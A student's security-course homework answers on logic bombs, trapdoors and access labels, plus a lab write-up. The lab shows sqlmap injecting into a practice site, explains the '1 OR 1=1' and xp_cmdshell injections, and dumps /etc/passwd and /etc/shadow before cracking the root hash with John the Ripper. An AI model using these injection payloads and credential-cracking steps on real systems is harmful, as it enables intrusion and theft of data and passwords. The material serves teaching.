

Samuel Steinberg

September 26th, 2019

CS366

Project 2

Assignment 1

Problem 1:

- a) Logic bomb: This program has a perfectly legitimate host program, but when certain conditions are met or at a predefined time (in this case Friday the 13th) a malicious function that crashes the computer will be set off.
- b) Trapdoor: This program has a trapdoor allowing the user “133t h4ck0r” to login without providing a valid username or password. A trapdoor is a secret entry point into an application, service, etc. that can allow one with malicious intent to cause havoc. Trapdoors allow those who know the backdoor to bypass normal security measures, which is the case in this piece of code.

Problem 2:

- a) Paul has no read or write access to the document (SECRET, {B, C}).
- b) Anna has no read or write access to the document (CONFIDENTIAL, {B}).
- c) Jesse only has read access to the document (CONFIDENTIAL, {C}).
- d) Sammi only has read access to the document (CONFIDENTIAL, {A}).
- e) Robin only has write access to the document (CONFIDENTIAL, {B}).

Assignment 2

Task 1:

```
root@kali: ~
File Edit View Search Terminal Help
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: Cylinders=V12' UNION ALL SELECT CHAR(113)+CHAR(112)+CHAR(120)+CHAR(
122)+CHAR(113)+CHAR(97)+CHAR(105)+CHAR(74)+CHAR(66)+CHAR(100)+CHAR(97)+CHAR(112)
+CHAR(81)+CHAR(72)+CHAR(76)+CHAR(98)+CHAR(106)+CHAR(115)+CHAR(111)+CHAR(69)+CHAR
(83)+CHAR(98)+CHAR(69)+CHAR(69)+CHAR(98)+CHAR(113)+CHAR(108)+CHAR(73)+CHAR(65)+C
HAR(76)+CHAR(69)+CHAR(99)+CHAR(115)+CHAR(80)+CHAR(106)+CHAR(104)+CHAR(117)+CHAR(
117)+CHAR(122)+CHAR(117)+CHAR(106)+CHAR(100)+CHAR(113)+CHAR(89)+CHAR(73)+CHAR(11
3)+CHAR(98)+CHAR(122)+CHAR(98)+CHAR(113),NULL-- UESy
---
[09:26:14] [INFO] testing Microsoft SQL Server
[09:26:14] [INFO] confirming Microsoft SQL Server
[09:26:15] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 2016
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 10.0
back-end DBMS: Microsoft SQL Server 2016
[09:26:15] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 22 times
[09:26:15] [INFO] fetched data logged to text files under '/root/.sqlmap/output/
hack-yourself-first.com'

[*] ending @ 09:26:15 /2019-09-27/
root@kali:~# ls
```

Question 1: After observing the sqlmap execute in real time and reviewing the output afterwards, the 'Cylinders' parameter on the website is vulnerable. The 'Cylinders' parameter was shown to have UNION based columns, which when vulnerable can allow for the appendage of malicious queries onto seemingly legitimate queries. This will be especially helpful since the sqlmap also returned some of the structure of the 'Cylinders' table with this response: "[INFO] GET parameter 'Cylinders' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable". To sum up the vulnerabilities, the sqlmap found five vulnerable injection points: Boolean-based blind, error-based, stacked queries, time-based blind, and UNION query with the UNION injection point offering the largest payload.

Question 2: For the SQL injection: 1 OR 1=1 the command works because 1=1 is always true and the logical operator OR only requires a single true statement, so the query will always execute and can give users access to data they might not even be eligible to access. For example, consider a query such as the following:

```
SELECT * FROM Users WHERE id = 100 OR 1=1;
```

Here, all rows from the Users table will be returned because the condition OR 1=1 is always true, so the statement will always execute (assuming no defense). In more general terms, the data returned will be whatever the user specifies in the statement before that command, unless limited by a command after (such as LIMIT 1, etc.)

The SQL injection: 1 EXEC XP_ will create a shell or another system command by which a malicious user can create havoc. The EXEC keyword in SQL runs a stored procedure or code and XP_ (such as xp_cmdshell) allows users to run a shell command. The prepend of 1

makes sure that the EXEC will always run. In the database this allows users to run free. Consider the following (truncated) command:

```
1 EXEC xp_cmdshell 'bcp select * from Users' ... '“outputfile.txt”'
```

To clarify, in this command the ‘...’ represents more commands that might be input by the user to compile specific data, and in addition there might be more information added to the end of the statement for more information. As for the actual statement above, the 1 will ensure that EXEC xp_cmdshell will always run. Here, the command is running a bulk copy program (bcp) on a database where it is selecting all the information from the Users column and sending it into a text file named “outputfile.txt”. With no defense, commands like this can be run in a shell to harvest malicious data and run commands like ‘bcp’ or other utilities offered by SQL servers.

Task 2:

/etc/passwd:

```
File Edit View Search Terminal Help
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
ntp:x:105:111::/nonexistent:/usr/sbin/nologin
messagebus:x:106:112::/nonexistent:/usr/sbin/nologin
Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
uidd:x:108:115::/run/uidd:/usr/sbin/nologin
redsocks:x:109:116::/var/run/redsocks:/usr/sbin/nologin
tss:x:110:117:TPM2 software stack,,,:/var/lib/tpm:/bin/false
rwhod:x:111:65534::/var/spool/rwho:/usr/sbin/nologin
iodine:x:112:65534::/var/run/iodine:/usr/sbin/nologin
stunnel4:x:113:120::/var/run/stunnel4:/usr/sbin/nologin
miredo:x:114:65534::/var/run/miredo:/usr/sbin/nologin
dnsmasq:x:115:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
sslh:x:116:122::/nonexistent:/usr/sbin/nologin
postgres:x:117:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:118:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:119:126:RealtimeKit,,,:/proc:/usr/sbin/nologin
_rpc:x:120:65534::/run/rpcbind:/usr/sbin/nologin
Debian-snmp:x:121:128::/var/lib/snmp:/bin/false
statd:x:122:65534::/var/lib/nfs:/usr/sbin/nologin
inetsim:x:123:129::/var/lib/inetsim:/usr/sbin/nologin
sshd:x:124:65534::/run/sshd:/usr/sbin/nologin
pulse:x:125:131:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:126:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:127:134:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:128:135::/var/lib/saned:/usr/sbin/nologin
colord:x:129:137:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:130:138::/var/lib/geoclue:/usr/sbin/nologin
king-phisher:x:131:139::/var/lib/king-phisher:/usr/sbin/nologin
Debian-gdm:x:132:140:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
~
~
~
```

```
File Edit View Search Terminal Help
root:$0$TKaB7APcfnnlGfKHmFeu4IW.WzZBcbMEPbNEmgh3Mr6B62/vfLBU5c8695oCC0zuPP2LwPsdru67LloSpLSWX57/sORTAAp0lvK40:18148:0:99999:7:::
daemon:*:18135:0:99999:7:::
bin:*:18135:0:99999:7:::
sys:*:18135:0:99999:7:::
sync:*:18135:0:99999:7:::
games:*:18135:0:99999:7:::
man:*:18135:0:99999:7:::
lp:*:18135:0:99999:7:::
mail:*:18135:0:99999:7:::
news:*:18135:0:99999:7:::
uucp:*:18135:0:99999:7:::
proxy:*:18135:0:99999:7:::
www-data:*:18135:0:99999:7:::
backup:*:18135:0:99999:7:::
list:*:18135:0:99999:7:::
irc:*:18135:0:99999:7:::
gnats:*:18135:0:99999:7:::
nobody:*:18135:0:99999:7:::
_apt:*:18135:0:99999:7:::
systemd-timesync:*:18135:0:99999:7:::
systemd-network:*:18135:0:99999:7:::
systemd-resolve:*:18135:0:99999:7:::
mysql:! :18135:0:99999:7:::
ntp:*:18135:0:99999:7:::
messagebus:*:18135:0:99999:7:::
Debian-exim:! :18135:0:99999:7:::
uuidd:*:18135:0:99999:7:::
redsocks:! :18135:0:99999:7:::
tss:*:18135:0:99999:7:::
rwhod:*:18135:0:99999:7:::
iodine:*:18135:0:99999:7:::
stunnel4:! :18135:0:99999:7:::
miredo:*:18135:0:99999:7:::
dnsmasq:*:18135:0:99999:7:::
sslt! :18135:0:99999:7:::
postgres:*:18135:0:99999:7:::
usbmux:*:18135:0:99999:7:::
rtkit:*:18135:0:99999:7:::
_rpc:*:18135:0:99999:7:::
Debian-snmpl! :18135:0:99999:7:::
statd:*:18135:0:99999:7:::
inetsim:*:18135:0:99999:7:::
sshd:*:18135:0:99999:7:::
pulse:*:18135:0:99999:7:::
speech-dispatcher:! :18135:0:99999:7:::
avahi:*:18135:0:99999:7:::
saned:*:18135:0:99999:7:::
colord:*:18135:0:99999:7:::
geoclue:*:18135:0:99999:7:::
king-phisher:*:18135:0:99999:7:::
Debian-gdm:*:18135:0:99999:7:::
systemd-coredumpl! :18148:::::
```

After running the command: **unshadow /etc/passwd /etc/shadow > combined.txt** the following was output to a new file “combined.txt”:

```
File Edit View Search Terminal Help
root@kali: /etc
root:$6$TKaB7APcfnn1GFkH$mFeu4IW.WzZBcbMEPbNEmGh3Mr6B62/vf1BuL5G869SoCCOZuPP2LwPsdr67L1oSpLsWX57/sORTAAp01vK40:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:*:100:65534:/nonexistent:/usr/sbin/nologin
systemd-timesync:*:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
systemd-networkd:*:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolved:*:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
mysql:*:104:110:MySQL Server,,:/nonexistent:/bin/false
ntp:*:105:111:/nonexistent:/usr/sbin/nologin
messagebus:*:106:112:/nonexistent:/usr/sbin/nologin
Debian-exim:*:107:114:/var/spool/exim4:/usr/sbin/nologin
uuidd:*:108:115:/run/uuidd:/usr/sbin/nologin
redsocks:*:109:116:/var/run/redsocks:/usr/sbin/nologin
tss:*:110:117:TPM2 software stack,,:/var/lib/tpm:/bin/false
rwhod:*:111:65534:/var/spool/rwho:/usr/sbin/nologin
iodine:*:112:65534:/var/run/iodine:/usr/sbin/nologin
stunnel4:*:113:120:/var/run/stunnel4:/usr/sbin/nologin
miredo:*:114:65534:/var/run/miredo:/usr/sbin/nologin
dnsmasq:*:115:65534:dnsmasq,,:/var/lib/misc:/usr/sbin/nologin
sshd:*:116:122:/nonexistent:/usr/sbin/nologin
postgres:*:117:124:PostgreSQL administrator,,:/var/lib/postgresql:/bin/bash
usbmux:*:118:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:*:119:126:RealtimeKit,,:/proc:/usr/sbin/nologin
_rpc:*:120:65534:/run/rpcbind:/usr/sbin/nologin
Debian-snmpp:*:121:128:/var/lib/snmpp:/bin/false
statd:*:122:65534:/var/lib/nfs:/usr/sbin/nologin
inetsim:*:123:129:/var/lib/inetsim:/usr/sbin/nologin
sshd:*:124:65534:/run/sshd:/usr/sbin/nologin
pulse:*:125:131:PulseAudio daemon,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:*:126:29:speech Dispatcher,,:/var/run/speech-dispatcher:/bin/false
avahi:*:127:134:Avahi mDNS daemon,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:*:128:135:/var/lib/saned:/usr/sbin/nologin
colord:*:129:137:colord colour management daemon,,:/var/lib/colord:/usr/sbin/nologin
geoclue:*:130:138:/var/lib/geoclue:/usr/sbin/nologin
king-phisher:*:131:139:/var/lib/king-phisher:/usr/sbin/nologin
Debian-gdm:*:132:140:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:*:999:999:systemd Core Dumper:/usr/sbin/nologin
~
~
~
~
~
```

Question 3: The user root has a password hash of:

mFeu4IW.WzZBcbMEPbNEmGh3Mr6B62/vf1BuL5G869SoCCOZuPP2LwPsdr67L1oSpLsWX57/sORTAAp01vK40

Question 4: The hash algorithm used to generate the hash is SHA-2. This can be found by analyzing the first numeric value in the password hash (between the first two \$ signs), which in this case is a 6 (denoting SHA-2). SHA-2 has a numerous different hash sizes, including 224, 256, 384, and 512 bits along with 512/224 and 512/256.

Question 5: Yes, this password is salted. In this case, the salt for root is:

TKaB7APcfnn1GFkH

A salt is a unique value added to the end of a password to create a different hash value, which is extremely helpful for password security (such as more safety from brute force attacks). This will mean that even the same passwords will be hashed differently. The salt is located after the hash algorithm number and is \$-sign separated.

After running: **john --wordlist=/usr/share/john/password.lst --rules combined.txt**

```
root@kali:/etc# john --wordlist=/usr/share/john/password.lst --rules combined.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:08 11.34% (ETA: 14:15:34) 0g/s 2091p/s 2091c/s 2091C/s beautybeauty..openupopenup
0g 0:00:00:23 29.81% (ETA: 14:15:41) 0g/s 2120p/s 2120c/s 2120C/s tata4..ship4
0g 0:00:00:31 41.86% (ETA: 14:15:38) 0g/s 2132p/s 2132c/s 2132C/s brdwy..mcrss
0g 0:00:01:13 DONE (2019-09-29 14:15) 0g/s 2123p/s 2123c/s 2123C/s Xxxing..Sssing
Session completed
root@kali:/etc#
```

After running the above command and: **john combined.txt**

```
root@kali:/etc# john combined.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
toor (root)
1g 0:00:00:00 DONE 1/3 (2019-09-29 14:19) 14.28g/s 142.8p/s 142.8c/s 142.8C/s rootroot..RootRoot
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

After running the command: **john --show combined.txt**

```
root@kali:/etc# john --show combined.txt
root:toor:0:0:root:/root:/bin/bash

1 password hash cracked, 0 left
root@kali:/etc#
```